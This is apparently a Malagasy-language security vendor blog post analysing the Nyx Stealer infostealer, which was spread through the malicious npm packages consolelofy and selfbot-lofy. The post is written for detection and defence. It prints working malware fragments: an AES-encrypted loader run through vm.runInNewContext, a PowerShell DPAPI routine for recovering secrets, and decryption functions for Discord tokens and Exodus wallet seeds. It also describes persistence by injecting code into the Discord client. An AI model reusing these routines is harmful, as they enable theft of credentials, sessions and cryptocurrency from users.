TL, DR
Ny Ekipa Mpikaroka momba ny Fiarovana Xygeni nahita fampielezan-kevitra npm infostealer saro-takarina natolotra tamin'ny alàlan'ny fonosana ratsy roa: consolelofy sy selfbot-lofy.
Ny kinova farany (consolelofy@1.3.0) mampiditra entana voaaro amin'ny AES 216KB izay voavaha amin'ny fotoana fiasana ary tanterahina amin'ny alàlan'ny vm.runInNewContext()Satria voaaro tanteraka ny lojika ratsy, dia tsy afaka mandinika ny fihetsiny ireo scanner static miantehitra amin'ny fanaraha-maso tady raha tsy amin'ny fotoana fanatanterahana azy.
Rehefa voavaha ny olana, dia misy marika anatiny ny entana Nyx Stealer, tanjona:
- Token fanamarinana Discord
- Fivarotana fahazoan-dàlana navigateur 50+
- Fanitarana poketra vola crypto 90+
- Fivoriana Roblox, Instagram, Spotify, Steam, Telegram, ary TikTok
- Fitohizan'ny mpanjifa desktop Discord
Voalaza ary voamarina fa mampidi-doza avokoa ireo dikan-teny 20 rehetra amin'ireo fonosana roa ireo.
Topimaso ara-teknika momba ity npm Infostealer ity
Tsy toy ny malware mahazatra mandritra ny fametrahana, ity fampielezan-kevitra ity dia miantehitra amin'ny runtime modely famahavahana.
Misy:
- Tsy misy ratsy fanahy
preinstallorpostinstallhooks - Tsy misy antso an-tambajotra miharihary mandritra ny fametrahana
- Tsy misy lojika fanangonana fahazoan-dàlana amin'ny lahatsoratra tsotra
Miasa ny payload rehefa ampidirina ny môdioly. Voaaro ny votoatin'ny malware manontolo ary tsy miseho afa-tsy ao amin'ny fahatsiarovana mandritra ny fotoana fiasana.
Ity endrika ity dia misoroka manokana ny fahitana azy mandritra ny fametrahana fonosana.
Ahoana no tena fomba fiasan'ity npm Infostealer ity
Alohan'ny hamakafakana izay angalarin'ny Nyx Stealer dia mila mahatakatra isika ny fomba fanatanterahana azy.
Ny lojika ratsy ao anatin'ity npm infostealer ity dia manaraka lamina tsy miovaova:
Mamaha ny rakitra lehibe voaaro ny "loadload" kely iray ary manatanteraka izany amin'ny fomba dinamika ao anatin'ny Node.js VM context.
Niniana natao ity endrika ity. Tsy manafina ny asany ao ambadiky ny fanafenana fotsiny ny mpanafika, fa izy ireo manala tanteraka ny kaody maloto amin'ny fahitana tsy miovaova.
Modely Fampiharana Avo lenta
Amin'ny ambaratonga avo lenta, ny fonosana dia manao zavatra efatra:
- Maka lakile AES avy amin'ny tenimiafina voatahiry mafy mampiasa SHA-256
- Mamadika lahatsoratra miafina misy kaody hexagonal lehibe mampiasa AES-256-CBC
- Manatanteraka ny JavaScript voavaha amin'ny alàlan'ny
vm.runInNewContext() - Manome "sandbox" izay mbola mampiseho ireo "runtime primitives" mahery vaika
Famintinana ny Teknika Fototra
| singa | Fikirana / Sanda |
|---|---|
| Algorithm | AES-256-CBC |
| Key derivation | SHA-256 (tenimiafina) |
| Vektora fanombohana (IV) | 16 bytes amin'ny 0x00 |
| famonoana | vm.runInNewContext(voavaha, boaty fasika) |
Ny tena zava-dehibe dia mandalo amin'ny alalan'ny:
requireprocessBuffer- fameram-potoana
- fanondranana môdely
Midika izany fa ny entana voavaha dia mitazona ny fahafaha-manao feno amin'ny:
- Dingana fiterahana
- Mamaky sy manoratra rakitra
- Manaova antso an-tambajotra
- Ovay ny fampiharana eo an-toerana
Tsy VM voafetra ity. VM ampiasaina ho trampoline famonoana olona izy ity.
Endrika Fanafenana Mandritra ny Fampandehanana (Fomba Fampiharana Fototra)
Kely ny fitaovana mpitondra entana.
Tsy toy izany ilay vatana ratsy fanahy.
Ity ambany ity ny lamina fampiharana hita ao anatin'ilay fonosana:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); }Nahoana no zava-dehibe izany?
Ny entana voafafa:
- ve tsy misy amin'ny lahatsoratra tsotra ao anatin'ny fonosana npm
- Tsy hita maso amin'ny tsotra
grepna ny fijerena tady statika - Miseho ao amin'ny fahatsiarovana ihany rehefa mandeha ny fotoana
- Manatanteraka miaraka amin'ny fahaiza-manao feno amin'ny fotoana fiasan'ny Node
Ity fitambaran'ny fampiharana AES + VM ity dia famantarana matanjaka momba ny fitondran-tena npm infolealer miezaka mandositra ny fizahana statika.
Raha lazaina amin'ny fomba hafa:
Raha mijery ny hazo loharanon'ny fonosana ianao dia tsy hahita mpangalatra.
Mahita fitaovana famaha olana ianao.
Inona no mitranga aorian'ny fandikana
Rehefa tanterahina dia manomboka onja fanangonana angon-drakitra mifanitsy ny Nyx Stealer.
Onja 1: Fanesorana ny fahazoan-dàlana amin'ny navigateur
Ny malware:
- Misintona Python runtime avy amin'ny NuGet CDN
- Mametraka tranomboky kriptografika
- Maka ny tahiry fahazoan-dàlana mifototra amin'ny Chromium
- Mamaky ireo tsiambaratelo voaaro amin'ny DPAPI
Raha tokony hanangona bindings teratany, dia mampiasa PowerShell izy io mba hiantsoana mivantana ny Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }Ity fomba ity:
- Misoroka ny zavatra tsy ilaina amin'ny fanangonana
- Mampiasa API crypto Windows teratany
- Mifangaro amin'ny fitaovana fitantanana
Fanalana ny tenimiafina amin'ny alàlan'ny OS izany, fa tsy fanesorana angona.
Onja 2: Famadihana ny Token Discord
Mahalala ny protocole ilay mpangalatra. Mahatakatra ny endrika famantarana voaaro an'ny Discord izy.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); }Fampandehanan-draharaha:
- Esory ny lakile master avy amin'ny Discord
Local State - Mamadika ny lakile fototra amin'ny alàlan'ny DPAPI
- Mamadika ireo teboka famantarana AES-GCM
- Hamarino ny token amin'ny Discord API
- Ampitomboy amin'ny Nitro, mari-pamantarana, fampahalalana momba ny faktiora
Tsy fanariana fahazoan-dàlana ankapobeny ity. Fisamborana session mifototra amin'ny protocole fotsiny ihany.
Onja faha-3: Fikendrena ny kitapom-bola Cryptocurrency
Ny npm infostealer dia mitanisa:
- Fanitarana 90+ amin'ny poketra navigateur
- Poketra birao 27
- Lalan'ny kitapom-bola mangatsiaka
- Rakitra voan'ny Eksodosy
Ohatra amin'ny andrana famaha ny voa:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); }Raha mahomby dia ho avy hatrany ary tsy ho azo ivalozana intsony ny fahasimbana ara-paositra.
Ity no maneho ny vector fampidiram-bola avo indrindra amin'ny fampielezan-kevitra.
Faharetana amin'ny alàlan'ny tsindrona Desktop Discord
Rehefa avy nahazo ny mari-pahaizana i Nyx Stealer dia nanandrana ny fikirizana tamin'ny fanovana ny eo an-toerana fifandirana mpanjifa.
Target:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.jsFitohizan'ny asa
Ireto dingana manaraka ireto no ataon'ny infostealer:
- Manafoana ny fizotran'ny Discord
- Mitady ireo karazana Discord napetraka (Stable, Canary, PTB)
- Misolo anarana
discord_desktop_core/index.js - Mampiditra lojika webhook fehezin'ny mpanafika
- Manomboka indray ny Discord
Izany dia miantoka fa ny fivoriana Discord amin'ny ho avy dia mamoaka ho azy ny mari-pamantarana fanamarinana vaovao.
Zava-dehibe ny manamarika fa ity faharetana ity dia tsy miankina amin'ny asa voalahatra na fanovana ny rejisitra. Mampiasa fanovana kaody amin'ny ambaratonga fampiharana izy io, fomba fiasa miafina kokoa.
Na dia esorina any aoriana aza ilay fonosana npm maloto, dia mbola ho voajirika ihany ny mpanjifa Discord.
Fampitahana ara-teknika: Selfbot ara-dalàna vs npm Infostealer
| singa | Tranomboky ara-dalàna | Nyx npm Infosteler |
|---|---|---|
| fanafenana | tsy misy | Entana feno voaaro amin'ny AES |
| VM mandritra ny fotoana fiasana | Tsy ilaina | vm.runInNewContext famonoana |
| Fahazoan-dàlana | API Discord ihany | Browser, poketra, DPAPI |
| Fisintomana ivelany | No | Python runtime amin'ny alàlan'ny NuGet |
| fikirizana | No | Tsindrona mpanjifa Discord |
| Monetization | Automatique bot | Fivarotana indray ny fahazoan-dàlana |
Ny sosona fanafenana fotsiny dia efa manasaraka ity fampielezan-kevitra ity amin'ny fork open-source mahazatra.
Tsy misy antony tokony hanafenana ny kaody fototra manontolon'ny Discord selfbot, hamoahana PowerShell hidirana amin'ny DPAPI, hisintona runtimes ivelany, na hanovana ny ao anatin'ny fampiharana desktop. Rehefa miseho ao anatin'ny fiankinan-doha izay milaza fa afaka mandeha ho azy ny fifandraisan'ny Discord ireo fahaiza-manao ireo, dia tsy azo tsinontsinoavina intsony ny tsy fitoviana ara-maritrano.
Raha jerena amin'ny fomba fijery fanadihadiana, ity mpangalatra fampahalalana npm ity dia mamela soritra amin'ny sosona maro. Na izany aza, ny famantarana azo antoka indrindra dia tsy URL voafatotry ny kaody na lalan'ny rakitra manokana, satria mety hiovaova eo amin'ny dikan-teny ireo. Fa kosa, ireo famantarana maharitra dia ara-drafitra.
Eo amin'ny sehatry ny fonosana, ny saina mena matanjaka indrindra dia ny fitambaran'ny entana voaaro lehibe sy ny fonosana decryption runtime izay miasa avy hatrany amin'ny alàlan'ny vm.runInNewContext()Na dia tsy ratsy aza ny fanafenana rakitra fotsiny, ny fampiasana ny fanafenana AES arahin'ny fanatanterahana VM mavitrika ao anatin'ny fonosana Discord dia tena tsy mahazatra.
Eo amin'ny sehatry ny mpampiantrano, ny lamina mampiahiahy dia ahitana ny asa fanesorana DPAPI tsy ampoizina, ny fivoaran'ny dingana avy amin'ny tontolon'ny fiankinan-doha Node.js, ary ny fanovana ny rakitra fampiharana eo an-toerana izay tsy tokony hovain'ny tranomboky antoko fahatelo mihitsy. Toy izany koa, eo amin'ny sosona tambajotra, ny fifandraisana ivelany amin'ny fomba webhook natombok'ny fiankinan-doha amin'ny fampandrosoana dia maneho anomaly misy dikany hafa.
Raha lazaina amin'ny teny hafa, ny sehatra fitadiavana dia tsy famantarana tokana ny fisian'ny fandrahonana. Ny fifandraisan'ny fanafenana, ny fanatanterahana ny asa, ny fidirana amin'ny fahazoan-dàlana, ary ny fitondran-tena maharitra no mampiseho ny fandrahonana.
Fitiliana sy fampihenana amin'ny alalan'ny Xygeni
Ity mpangalatra fampahalalana npm ity dia voafaritry ny Fampitandremana mialoha momba ny rindrambaiko maloto (MEW) an'ny Xygeni amin'ny alalan'ny fifandraisana misy sosona eo amin'ny fitondran-tena fa tsy amin'ny alalan'ny fampifanarahana sonia tsotra.
Tsy mikaroka ireo tady ratsy fantatra ny MEW, fa manombana ireo tsy fetezana ara-drafitra manerana ny hazo loharano feno. Amin'ity tranga ity, ny fitadiavana dia nipoitra avy amin'ny fihaonan'ny famantarana maromaro: fomba fiasa fanesorana AES tafiditra ao amin'ny teboka fidirana môdely, fanatanterahana avy hatrany ao anatin'ny tontolon'ny VM, ary tsy fitoviana mazava eo amin'ny fahaiza-manao sy ny fikasana.
Zava-dehibe ny mahafantatra fa tsy misy amin'ireo famantarana ireo irery no manaporofo fa misy fikasana ratsy. Na izany aza, rehefa dinihina miaraka izy ireo dia mampiseho fikasana hanafenana ny fihetsika mandritra ny fotoana fiasana. Ity fomba fiasa misy sosona ity dia mampihena be ny vokatra diso sady mamantatra ny fandrahonana azo antoka amin'ny rojo famatsiana.
Ankoatra izany, ity tranga ity dia mampiseho ny antony tsy ampy ny fanaraha-maso mandritra ny fametrahana fotsiny. Tsy ao anatin'ny script momba ny tsingerim-piainana ny lojika ratsy. Miasa izy io rehefa avy misokatra ny môdely ary tsy hita maso raha tsy voavaha ao amin'ny fitadidiana. Noho izany, ny fiarovana mahomby dia mitaky famakafakana ny fanafenana, ny famantarana ny lamina fitondran-tena, ary ny fanaraha-maso tsy tapaka ny fiankinan-doha ankoatra ny zava-mitranga amin'ny fametrahana.
Mihetsika ny fanesorana ny rejisitra. Ny fanadihadiana mifototra amin'ny runtime dia fisorohana.
Nahoana no zava-dehibe ity npm Infostealer ity
Ny Nyx Stealer dia maneho fivoarana ara-drafitra amin'ny malware mifototra amin'ny npm.
Ara-tantara, maro amin'ireo fonosana mampidi-doza no niantehitra tamin'ny script hita maso amin'ny fotoana fametrahana na teboka famaranana mazava tsara momba ny fanesorana ny fahazoan-dàlana. Mifanohitra amin'izany kosa, ity fampielezan-kevitra ity dia manafina ny entana entiny, manemotra ny fanatanterahana azy amin'ny fotoana fanombohana, mampiasa API ara-dalàna amin'ny rafitra fiasana, ary mametraka faharetana ao anatin'ireo fampiharana azo itokisana.
Vokatr'izany, tsy mila mampiasa ny fotodrafitrasa npm mihitsy ny mpanafika. Fa kosa, mahomby ny fanafihana satria ny fametrahana fiankinan-doha dia midika fitokisana. Mihevitra ireo mpamorona fa azo antoka ny fanafarana tranomboky, indrindra rehefa miseho ho toy ny fork azo inoana amin'ny fitaovana malaza izany.
Rehefa mitombo hatrany ny tontolo iainana ary mihamaro ny forks, dia lasa sehatra fanafihana manintona kokoa io fetran'ny fitokisana tsy mivantana io. Noho izany, ny fiarovana amin'ny npm infostealers maoderina dia mitaky ny famantarana ny lamina ara-maritrano fa tsy ny fitadiavana tady statika.
Amin'ny farany, ity fanentanana ity dia manamafy lesona manan-danja amin'ny software supply chain securityNy fandrahonana mampidi-doza indrindra dia tsy ireo toa ratsy fanahy amin'ny voalohany, fa ireo izay toa ara-dalàna ara-drafitra mandra-pahitan'ny runtime ny tena fitondran-tenany.
